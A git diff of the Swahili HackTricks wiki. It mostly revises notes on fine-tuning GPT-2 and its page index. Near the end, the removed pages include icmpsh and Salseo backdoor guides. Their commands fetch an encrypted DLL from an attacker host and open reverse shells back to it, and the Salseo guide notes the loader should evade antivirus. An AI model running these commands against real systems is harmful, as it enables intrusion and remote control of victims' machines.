Bila shaka, ili kurekebisha modeli unahitaji data iliyopangwa ili kutumia kupecialize LLM yako. Katika mfano ulioanzishwa katika [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 inarekebishwa kugundua kama barua pepe ni spam au la kwa kutumia data kutoka [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
Kwa kweli, ili kurekebisha modeli unahitaji data iliyopangwa ili kutumia kupecialize LLM yako. Katika mfano ulioanzishwa katika [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 inarekebishwa kugundua kama barua pepe ni spam au la kwa kutumia data kutoka [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
Seti hii ya data ina mifano mingi zaidi ya "sio spam" kuliko "spam", kwa hivyo kitabu kinapendekeza **kutumia mifano ya "sio spam" sawa na ile ya "spam"** (hivyo, kuondoa mifano yote ya ziada kutoka kwa data ya mafunzo). Katika kesi hii, hii ilikuwa mifano 747 ya kila mmoja.
Kisha, **70%** ya seti ya data inatumika kwa **mafunzo**, **10%** kwa **uthibitisho** na **20%** kwa **kujaribu**.
- **Seti ya uthibitisho** inatumika wakati wa awamu ya mafunzo ili kurekebisha **vigezo vya hyper** vya modeli na kufanya maamuzi kuhusu usanifu wa modeli, kwa ufanisi kusaidia kuzuia overfitting kwa kutoa mrejesho juu ya jinsi modeli inavyofanya kwenye data isiyoonekana. Inaruhusu maboresho ya kurudi nyuma bila kupendelea tathmini ya mwisho.
- Hii inamaanisha kwamba ingawa data iliyojumuishwa katika seti hii ya data haitumiki kwa mafunzo moja kwa moja, inatumika kurekebisha **vigezo bora vya hyper**, hivyo seti hii haiwezi kutumika kutathmini utendaji wa modeli kama seti ya majaribio.
- Kinyume chake, **seti ya majaribio** inatumika **tu baada** ya modeli kufundishwa kikamilifu na marekebisho yote kukamilika; inatoa tathmini isiyo na upendeleo ya uwezo wa modeli kuweza kujumlisha kwa data mpya, isiyoonekana. Tathmini hii ya mwisho kwenye seti ya majaribio inatoa dalili halisi ya jinsi modeli inavyotarajiwa kufanya katika matumizi halisi.
- **Seti ya uthibitisho** inatumika wakati wa awamu ya mafunzo ili kurekebisha **vigezo vya hyper** vya modeli na kufanya maamuzi kuhusu usanifu wa modeli, kwa ufanisi kusaidia kuzuia overfitting kwa kutoa mrejesho juu ya jinsi modeli inavyofanya kwenye data isiyoonekana. Inaruhusu maboresho ya mzunguko bila kupendelea tathmini ya mwisho.
- Hii ina maana kwamba ingawa data iliyojumuishwa katika seti hii ya data haitumiki kwa mafunzo moja kwa moja, inatumika kurekebisha **vigezo bora vya hyper**, hivyo seti hii haiwezi kutumika kutathmini utendaji wa modeli kama ile ya kujaribu.
- Kinyume chake, **seti ya jaribio** inatumika **tu baada** ya modeli kufundishwa kikamilifu na marekebisho yote kukamilika; inatoa tathmini isiyo na upendeleo ya uwezo wa modeli kuweza kujumlisha kwa data mpya, isiyoonekana. Tathmini hii ya mwisho kwenye seti ya jaribio inatoa dalili halisi ya jinsi modeli inavyotarajiwa kufanya katika matumizi halisi.
### Entries length
@ -47,7 +49,7 @@ out_features=num_classes
```
## Parameters to tune
Ili kuboresha haraka ni rahisi kutokuboresha vigezo vyote bali baadhi ya vigezo vya mwisho tu. Hii ni kwa sababu inajulikana kwamba tabaka za chini kwa ujumla zinashughulikia muundo wa lugha wa kimsingi na maana zinazotumika. Hivyo, tu **kuboresha tabaka za mwisho mara nyingi inatosha na ni ya haraka zaidi**.
Ili kuboresha haraka, ni rahisi kutokuboresha vigezo vyote bali baadhi ya vigezo vya mwisho tu. Hii ni kwa sababu inajulikana kwamba tabaka za chini kwa ujumla zinashughulikia muundo wa lugha wa kimsingi na maana zinazofaa. Hivyo, **kuboresha tabaka za mwisho pekee mara nyingi inatosha na ni ya haraka zaidi**.
```python
# This code makes all the parameters of the model unrtainable
for param in model.parameters():
@ -66,7 +68,7 @@ param.requires_grad = True
Katika sehemu za awali, LLM ilifundishwa kupunguza hasara ya kila token iliyotabiriwa, ingawa karibu token zote zilizotabiriwa zilikuwa katika sentensi ya ingizo (moja tu mwishoni ilitabiriwa kwa kweli) ili mfano uweze kuelewa lugha vizuri zaidi.
Katika kesi hii, tunajali tu kuhusu mfano kuwa na uwezo wa kutabiri ikiwa mfano ni spam au la, hivyo tunajali tu kuhusu token ya mwisho iliyotabiriwa. Kwa hiyo, inahitajika kubadilisha kazi zetu za hasara za mafunzo ya awali ili kuchukua tu token hiyo katika akaunti.
Katika kesi hii, tunajali tu kuhusu mfano kuwa na uwezo wa kutabiri kama mfano ni spam au la, hivyo tunajali tu kuhusu token ya mwisho iliyotabiriwa. Kwa hiyo, inahitajika kubadilisha kazi zetu za hasara za mafunzo ya awali ili kuchukua tu token hiyo katika akaunti.
Hii imewekwa katika [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) kama:
```python
@ -108,3 +110,5 @@ You can find all the code to fine-tune GPT2 to be a spam classifier in [https://
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,11 +1,13 @@
# 7.2. Kurekebisha ili kufuata maelekezo
# 7.2. Fine-Tuning to follow instructions
{{#include /banners/hacktricks-training.md}}
> [!TIP]
> Lengo la sehemu hii ni kuonyesha jinsi ya **kurekebisha mfano ambao tayari umefunzwa ili kufuata maelekezo** badala ya kuzalisha tu maandiko, kwa mfano, kujibu kazi kama roboti ya mazungumzo.
> Lengo la sehemu hii ni kuonyesha jinsi ya **kurekebisha mfano ulio tayari tayari kufuata maelekezo** badala ya kuzalisha tu maandiko, kwa mfano, kujibu kazi kama roboti ya mazungumzo.
## Dataset
Ili kurekebisha LLM kufuata maelekezo, inahitajika kuwa na dataset yenye maelekezo na majibu ili kurekebisha LLM. Kuna mifumo tofauti ya kufundisha LLM kufuata maelekezo, kwa mfano:
Ili kurekebisha LLM kufuata maelekezo, inahitajika kuwa na dataset yenye maelekezo na majibu ili kurekebisha LLM. Kuna mifano tofauti ya kufundisha LLM kufuata maelekezo, kwa mfano:
- Mfano wa mtindo wa ombi la Apply Alpaca:
```csharp
@ -56,16 +58,16 @@ Kisha, kama kawaida, inahitajika kutenganisha dataset katika seti za mafunzo, ut
Kisha, inahitajika kubatch kila ingizo na matokeo yanayotarajiwa kwa mafunzo. Kwa hili, inahitajika:
- Tokenize maandiko
- Pad sampuli zote hadi urefu sawa (kawaida urefu utakuwa mkubwa kama urefu wa muktadha ulitumika kabla ya mafunzo ya LLM)
- Pad sampuli zote hadi urefu sawa (kawaida urefu utakuwa mkubwa kama urefu wa muktadha ulitumika kabla ya kufundisha LLM)
- Unda token zinazotarajiwa kwa kuhamasisha 1 ingizo katika kazi ya collate ya kawaida
- Badilisha baadhi ya token za padding na -100 ili kuziondoa kutoka kwa hasara ya mafunzo: Baada ya token ya kwanza `endoftext`, badilisha token zote nyingine za `endoftext` kwa -100 (kwa sababu kutumia `cross_entropy(...,ignore_index=-100)` inamaanisha kwamba itapuuzilia mbali malengo yenye -100)
- Badilisha baadhi ya token za padding na -100 ili kuziondoa kwenye hasara ya mafunzo: Baada ya token ya kwanza `endoftext`, badilisha token zote nyingine za `endoftext` kwa -100 (kwa sababu kutumia `cross_entropy(...,ignore_index=-100)` inamaanisha kwamba itapuuzilia mbali malengo yenye -100)
- \[Hiari\] Ficha kwa kutumia -100 pia token zote zinazohusiana na swali ili LLM ijifunze tu jinsi ya kuzalisha jibu. Katika mtindo wa Apply Alpaca hii itamaanisha kuficha kila kitu hadi `### Response:`
Kwa hili lililoundwa, ni wakati wa kuunda data loaders kwa kila dataset (mafunzo, uthibitisho na upimaji).
## Load pre-trained LLM & Fine tune & Loss Checking
Inahitajika kupakia LLM iliyofundishwa awali ili kuifanyia marekebisho. Hii tayari imejadiliwa katika kurasa nyingine. Kisha, inawezekana kutumia kazi ya mafunzo iliyotumika awali ili kuifanyia marekebisho LLM.
Inahitajika kupakia LLM iliyofundishwa awali ili kuifanyia fine tune. Hii tayari imejadiliwa katika kurasa nyingine. Kisha, inawezekana kutumia kazi ya mafunzo iliyotumika awali ili kuifanyia fine tune LLM.
Wakati wa mafunzo pia inawezekana kuona jinsi hasara ya mafunzo na hasara ya uthibitisho inavyobadilika wakati wa epochs ili kuona kama hasara inapata kupungua na kama overfitting inatokea.\
Kumbuka kwamba overfitting inatokea wakati hasara ya mafunzo inapata kupungua lakini hasara ya uthibitisho haipungui au hata inaongezeka. Ili kuepuka hili, jambo rahisi zaidi la kufanya ni kusitisha mafunzo katika epoch ambapo tabia hii inaanza.
@ -84,7 +86,7 @@ Jaribio lingine la kufanya ili kuthibitisha ubora wa majibu:
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Kujenga juu ya GLUE, SuperGLUE inajumuisha kazi ngumu zaidi zilizoundwa kuwa ngumu kwa mifano ya sasa.
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench ni kipimo kikubwa chenye kazi zaidi ya 200 zinazotest uwezo wa mfano katika maeneo kama mantiki, tafsiri, na kujibu maswali.
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM inatoa tathmini kamili katika metriki mbalimbali kama usahihi, uimara, na haki.
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Mfumo wa tathmini wa wazi wa OpenAI unaowezesha kupima mifano ya AI kwenye kazi za kawaida na za kiwango.
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Mfumo wa tathmini wa wazi kutoka OpenAI unaowezesha kupima mifano ya AI kwenye kazi za kawaida na za kiwango.
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Mkusanyiko wa matatizo ya programu yanayotumika kutathmini uwezo wa kizazi cha msimbo wa mifano ya lugha.
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD inajumuisha maswali kuhusu makala za Wikipedia, ambapo mifano inapaswa kuelewa maandiko ili kujibu kwa usahihi.
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Mkusanyiko mkubwa wa maswali na majibu ya trivia, pamoja na hati za ushahidi.
@ -93,8 +95,10 @@ na mengi zaidi
## Follow instructions fine-tuning code
Unaweza kupata mfano wa msimbo wa kufanya marekebisho haya katika [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
Unaweza kupata mfano wa msimbo wa kufanya fine tuning hii katika [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# LLM Training - Data Preparation
{{#include /banners/hacktricks-training.md}}
**Hizi ni nota zangu kutoka kwa kitabu kinachopendekezwa sana** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **pamoja na taarifa za ziada.**
## Basic Information
@ -13,7 +15,7 @@ Unapaswa kuanza kwa kusoma chapisho hili kwa baadhi ya dhana za msingi unazopasw
## 1. Tokenization
> [!TIP]
> Lengo la awamu hii ya awali ni rahisi sana: **Gawanya ingizo katika tokeni (ids) kwa njia ambayo ina maana**.
> Lengo la awamu hii ya awali ni rahisi sana: **Gawanya ingizo katika tokens (ids) kwa njia ambayo ina maana**.
{{#ref}}
1.-tokenizing.md
@ -31,10 +33,10 @@ Unapaswa kuanza kwa kusoma chapisho hili kwa baadhi ya dhana za msingi unazopasw
## 3. Token Embeddings
> [!TIP]
> Lengo la awamu hii ya tatu ni rahisi sana: **Patia kila moja ya tokeni za awali katika msamiati vector ya vipimo vinavyotakiwa ili kufundisha mfano.** Kila neno katika msamiati litakuwa na pointi katika nafasi ya vipimo X.\
> Kumbuka kwamba awali nafasi ya kila neno katika nafasi inaanzishwa "kwa bahati" na nafasi hizi ni vigezo vinavyoweza kufundishwa (vitaboreshwa wakati wa mafunzo).
> Lengo la awamu hii ya tatu ni rahisi sana: **Patia kila moja ya tokens zilizopita katika msamiati vector ya vipimo vinavyotakiwa ili kufundisha mfano.** Kila neno katika msamiati litakuwa na pointi katika nafasi ya vipimo X.\
> Kumbuka kwamba awali nafasi ya kila neno katika nafasi inaanzishwa "kwa bahati nasibu" na nafasi hizi ni vigezo vinavyoweza kufundishwa (vitaboreshwa wakati wa mafunzo).
>
> Zaidi ya hayo, wakati wa kuingiza tokeni **tabaka lingine la kuingiza linaundwa** ambalo linawakilisha (katika kesi hii) **nafasi halisi ya neno katika sentensi ya mafunzo**. Kwa njia hii neno katika nafasi tofauti katika sentensi litakuwa na uwakilishi tofauti (maana).
> Zaidi ya hayo, wakati wa token embedding **tabaka lingine la embeddings linaundwa** ambalo linawakilisha (katika kesi hii) **nafasi halisi ya neno katika sentensi ya mafunzo**. Kwa njia hii neno katika nafasi tofauti katika sentensi litakuwa na uwakilishi tofauti (maana).
{{#ref}}
3.-token-embeddings.md
@ -64,7 +66,7 @@ Unapaswa kuanza kwa kusoma chapisho hili kwa baadhi ya dhana za msingi unazopasw
## 6. Pre-training & Loading models
> [!TIP]
> Lengo la awamu hii ya sita ni rahisi sana: **Fundisha mfano kutoka mwanzo**. Kwa hili muundo wa awali wa LLM utatumika na miduara fulani ikipita juu ya seti za data kwa kutumia kazi za hasara zilizofafanuliwa na msaidizi kufundisha vigezo vyote vya mfano.
> Lengo la awamu hii ya sita ni rahisi sana: **Fundisha mfano kutoka mwanzo**. Kwa hili muundo wa awali wa LLM utatumika na mizunguko kadhaa ikipita juu ya seti za data kwa kutumia kazi za hasara zilizofafanuliwa na msaidizi kufundisha vigezo vyote vya mfano.
{{#ref}}
6.-pre-training-and-loading-models.md
@ -91,8 +93,10 @@ Unapaswa kuanza kwa kusoma chapisho hili kwa baadhi ya dhana za msingi unazopasw
## 7.2. Fine-Tuning to follow instructions
> [!TIP]
> Lengo la sehemu hii ni kuonyesha jinsi ya **kurekebisha mfano uliofundishwa tayari ili kufuata maelekezo** badala ya tu kuzalisha maandiko, kwa mfano, kujibu kazi kama roboti ya mazungumzo.
> Lengo la sehemu hii ni kuonyesha jinsi ya **kurekebisha mfano uliofundishwa tayari ili kufuata maagizo** badala ya tu kuzalisha maandiko, kwa mfano, kujibu kazi kama roboti ya mazungumzo.
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}
{{#include /banners/hacktricks-training.md}}

View File

@ -149,6 +149,7 @@
- [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
- [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
- [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)
- [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md)
- [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
- [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
- [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
@ -217,8 +218,10 @@
# 🪟 Windows Hardening
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
@ -248,6 +251,7 @@
- [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
- [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
- [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md)
- [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
- [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
@ -330,7 +334,7 @@
- [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md)
- [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md)
- [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md)
- [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
- [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
- [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md)
- [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md)
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
@ -388,6 +392,7 @@
- [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
- [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
- [CGI](network-services-pentesting/pentesting-web/cgi.md)
- [Django](network-services-pentesting/pentesting-web/django.md)
- [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
- [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
- [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
@ -398,7 +403,6 @@
- [Flask](network-services-pentesting/pentesting-web/flask.md)
- [Git](network-services-pentesting/pentesting-web/git.md)
- [Golang](network-services-pentesting/pentesting-web/golang.md)
- [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md)
- [Grafana](network-services-pentesting/pentesting-web/grafana.md)
- [GraphQL](network-services-pentesting/pentesting-web/graphql.md)
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
@ -430,7 +434,7 @@
- [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md)
- [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
- [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
- [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
- [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
- [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
- [Python](network-services-pentesting/pentesting-web/python.md)
@ -438,6 +442,7 @@
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
- [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md)
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
- [Symfony](network-services-pentesting/pentesting-web/symphony.md)
- [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
@ -582,6 +587,7 @@
- [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
- [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
- [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
- [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md)
- [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
- [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
- [Email Injections](pentesting-web/email-injections.md)
@ -609,6 +615,7 @@
- [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
- [IDOR](pentesting-web/idor.md)
- [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md)
- [LDAP Injection](pentesting-web/ldap-injection.md)
- [Login Bypass](pentesting-web/login-bypass/README.md)
- [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
@ -641,6 +648,7 @@
- [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
- [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
- [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md)
- [Sqlmap](pentesting-web/sql-injection/sqlmap.md)
- [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
- [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md)
- [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
@ -664,6 +672,7 @@
- [WebSocket Attacks](pentesting-web/websocket-attacks.md)
- [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
- [XPATH injection](pentesting-web/xpath-injection.md)
- [XS Search](pentesting-web/xs-search.md)
- [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
- [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
@ -845,13 +854,14 @@
# ✍️ TODO
- [Other Big References](todo/references.md)
- [Interesting Http](todo/interesting-http.md)
- [Rust Basics](todo/rust-basics.md)
- [More Tools](todo/more-tools.md)
- [MISC](todo/misc.md)
- [Pentesting DNS](todo/pentesting-dns.md)
- [Hardware Hacking](todo/hardware-hacking/README.md)
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
- [I2C](todo/hardware-hacking/i2c.md)
- [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md)
- [UART](todo/hardware-hacking/uart.md)
- [Radio](todo/hardware-hacking/radio.md)
- [JTAG](todo/hardware-hacking/jtag.md)
@ -878,8 +888,6 @@
- [Other Web Tricks](todo/other-web-tricks.md)
- [Interesting HTTP$$external:todo/interesting-http.md$$]()
- [Android Forensics](todo/android-forensics.md)
- [TR-069](todo/tr-069.md)
- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
- [Online Platforms with API](todo/online-platforms-with-api.md)
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
@ -887,3 +895,11 @@
- [Cookies Policy](todo/cookies-policy.md)
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
- [Readme](reversing/cryptographic-algorithms/README.md)
- [Readme](reversing/reversing-tools/README.md)
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)

View File

@ -1,27 +0,0 @@
# Android Forensics
{{#include ./banners/hacktricks-training.md}}
## Locked Device
Ili kuanza kutoa data kutoka kwa kifaa cha Android, lazima kiwe kimefunguliwa. Ikiwa kimefungwa unaweza:
- Kuangalia ikiwa kifaa kina ufuatiliaji kupitia USB umewezeshwa.
- Kuangalia kwa shambulio la [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
- Jaribu na [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
## Data Adquisition
Unda [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) na uitoe kwa kutumia [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
### If root access or physical connection to JTAG interface
- `cat /proc/partitions` (tafuta njia ya kumbukumbu ya flash, kwa kawaida ingizo la kwanza ni _mmcblk0_ na linahusiana na kumbukumbu yote ya flash).
- `df /data` (Gundua ukubwa wa block wa mfumo).
- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (itekeleze kwa kutumia taarifa zilizokusanywa kutoka kwa ukubwa wa block).
### Memory
Tumia Linux Memory Extractor (LiME) kutoa taarifa za RAM. Ni nyongeza ya kernel ambayo inapaswa kupakiwa kupitia adb.
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,25 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
Pakua backdoor kutoka: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Upande wa mteja
Tekeleza script: **run.sh**
**Ikiwa unapata makosa, jaribu kubadilisha mistari:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**Kwa:**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **Upande wa Mwathirika**
Pakia **icmpsh.exe** kwa mwathirika na uendeshe:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,158 +0,0 @@
# Salseo
{{#include ../banners/hacktricks-training.md}}
## Compiling the binaries
Pakua msimbo wa chanzo kutoka github na uunde **EvilSalsa** na **SalseoLoader**. Utahitaji **Visual Studio** iliyosakinishwa ili kuunda msimbo huo.
Unda miradi hiyo kwa ajili ya usanifu wa sanduku la windows ambapo utatumia (Ikiwa Windows inasaidia x64 uunde kwa usanifu huo).
Unaweza **kuchagua usanifu** ndani ya Visual Studio katika **"Build" Tab** ya kushoto katika **"Platform Target".**
(**Ikiwa huwezi kupata chaguo hizi bonyeza kwenye **"Project Tab"** kisha kwenye **"\<Project Name> Properties"**)
![](<../images/image (132).png>)
Kisha, jenga miradi yote miwili (Build -> Build Solution) (Ndani ya logi zitaonekana njia ya executable):
![](<../images/image (1) (2) (1) (1) (1).png>)
## Prepare the Backdoor
Kwanza kabisa, utahitaji kuandika **EvilSalsa.dll.** Ili kufanya hivyo, unaweza kutumia skripti ya python **encrypterassembly.py** au unaweza kuunda mradi **EncrypterAssembly**:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Sawa, sasa una kila kitu unachohitaji kutekeleza mambo yote ya Salseo: **EvilDalsa.dll iliyosimbwa** na **binary ya SalseoLoader.**
**Pakia binary ya SalseoLoader.exe kwenye mashine. Hazipaswi kugundulika na AV yoyote...**
## **Tekeleza backdoor**
### **Kupata shell ya TCP reverse (kupakua dll iliyosimbwa kupitia HTTP)**
Kumbuka kuanzisha nc kama msikilizaji wa shell ya reverse na seva ya HTTP kutoa evilsalsa iliyosimbwa.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Kupata shell ya UDP reverse (kupakua dll iliyokodishwa kupitia SMB)**
Kumbuka kuanzisha nc kama msikilizaji wa shell ya reverse, na seva ya SMB kutoa evilsalsa iliyokodishwa (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Kupata shell ya ICMP reverse (dll iliyosimbwa tayari ndani ya mwathirika)**
**Wakati huu unahitaji chombo maalum kwenye mteja kupokea shell ya reverse. Pakua:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Zima Majibu ya ICMP:**
```
